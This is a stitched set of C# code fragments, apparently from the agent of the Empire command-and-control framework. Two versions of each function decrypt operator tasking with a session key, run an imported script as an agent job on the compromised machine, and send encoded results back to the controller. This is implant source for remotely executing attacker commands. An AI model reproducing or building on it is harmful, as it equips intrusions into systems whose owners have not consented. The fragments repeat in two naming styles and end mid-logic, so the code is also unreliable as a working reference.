//////////////////////////////////////////////////////////////////////////////// public Byte[] task121(Coms.PACKET packet) { Byte[] scriptBytes = EmpireStager.aesDecrypt(sessionKey, jobTracking.importedScript); String script = Encoding.UTF8.GetString(scriptBytes); String jobId = jobTracking.startAgentJob(script + ";" + packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// // Run an Agent Job //////////////////////////////////////////////////////////////////////////////// public byte[] Task121(PACKET packet) { byte[] scriptBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), jobTracking.ImportedScript); string script = Encoding.UTF8.GetString(scriptBytes); string jobId = jobTracking.StartAgentJob(script + ";" + packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// private void processTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionKey, encryptedTask); PACKET firstPacket = decodePacket(taskingBytes, 0); byte[] resultPackets = processTasking(firstPacket); sendMessage(resultPackets); Int32 offset = 12 + (Int32)firstPacket.length; String remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private void ProcessTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), encryptedTask); PACKET firstPacket = DecodePacket(taskingBytes, 0); byte[] resultPackets = ProcessTasking(firstPacket); SendMessage(resultPackets); int offset = 12 + (int)firstPacket.length; string remaining = firstPacket.remaining; }